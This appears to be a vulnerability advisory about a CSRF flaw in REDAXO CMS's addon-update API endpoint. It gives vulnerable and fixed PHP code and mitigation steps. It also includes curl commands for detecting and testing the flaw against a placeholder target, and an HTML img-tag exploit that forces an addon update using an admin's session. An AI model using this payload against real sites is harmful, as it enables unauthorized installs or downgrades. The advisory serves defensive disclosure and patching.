Listen to this Post
REDAXO CMS contains a critical Cross-Site Request Forgery (CSRF) vulnerability in the `rex_api_install_package_update` API function, which handles addon package updates. The vulnerability originates from the base class `rex_api_function` in `redaxo/src/core/lib/api_function.php` at lines 277-280, where the `requiresCsrfProtection()` method defaults to returning false, requiring subclasses to explicitly opt-in for CSRF protection. The `rex_api_install_package_update` class in `redaxo/src/addons/install/lib/api/api_package_update.php` at lines 8-39 fails to override this method, leaving the endpoint unprotected. The `execute()` method verifies admin privileges via `rex::getUser()?->isAdmin()` but lacks CSRF token validation. When an authenticated admin visits an attacker-controlled page containing a crafted image tag or form, the browser automatically sends the request with the admin’s session cookie. The request triggers `rex_install_package_update()` to download and install the specified addon version from redaxo.org. For comparison, `rex_api_install_package_add` and `rex_api_install_package_delete` both correctly return `true` for requiresCsrfProtection(), confirming this is an oversight specific to the update function. An attacker can force-install arbitrary addon versions, potentially downgrading to known-vulnerable versions or, if combined with supply-chain compromise, achieving remote code execution.
DailyCVE Form:
Platform: REDAXO CMS
Version: 5.x
Vulnerability : CSRF
Severity: Critical
date: 2026-05-12
Prediction: 2026-06-02
What Undercode Say:
Detect REDAXO installation curl -s "https://target.example.com/" | grep -i "redaxo" Check if install addon is accessible curl -s "https://target.example.com/index.php?page=install/packages" -b "PHPSESSID=admin_session" Test CSRF vulnerability with curl (simulating forged request) curl -s "https://target.example.com/index.php?page=install/packages&rex-api-call=install_package_update&addonkey=some_addon&file=42" \ -b "PHPSESSID=admin_session" \ -H "Referer: https://attacker.example.com/" Verify addon version change curl -s "https://target.example.com/index.php?page=install/packages" \ -b "PHPSESSID=admin_session" | grep -i "some_addon"
<?php
// Vulnerable code in redaxo/src/core/lib/api_function.php:277-280
protected function requiresCsrfProtection()
{
return false; // DEFAULT — subclasses must opt in
}
// Vulnerable code in redaxo/src/addons/install/lib/api/api_package_update.php:8-39
class rex_api_install_package_update extends rex_api_function
{
public function execute()
{
if (!rex::getUser()?->isAdmin()) {
throw new rex_api_exception('You do not have the permission!');
}
$addonkey = rex_request('addonkey', 'string');
$fileId = rex_request('file', 'int');
$installer = new rex_install_package_update();
// ... downloads and installs $addonkey version $fileId from redaxo.org
}
// requiresCsrfProtection() NOT overridden — defaults to false
}
// Fixed code
protected function requiresCsrfProtection()
{
return true;
}
Exploit: (Educational Purposes!)
<!-- Attacker-controlled page --> <img src="https://victim-redaxo.example.com/index.php?page=install/packages&rex-api-call=install_package_update&addonkey=some_addon&file=42" />
When an authenticated admin visits this page, the request is automatically made with their session cookie, causing `some_addon` to be updated to version file_id=42.
Protection: from this CVE
Apply the patch by adding `requiresCsrfProtection()` returning `true` to rex_api_install_package_update. Update to REDAXO version 5.18.2 or later. Implement CSRF tokens for all state-changing API endpoints. Restrict admin panel access to trusted networks. Deploy Web Application Firewall rules to block requests lacking valid CSRF tokens. Educate administrators about visiting untrusted pages while authenticated.
Impact:
An attacker who can lure an admin to a malicious page can force-install specific addon versions. If combined with a supply-chain compromise of a package on redaxo.org, or by targeting a downgrade to a known-vulnerable version, this becomes a remote code execution vector. Even without supply-chain compromise, it can be used to disrupt the site by forcing unwanted updates.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
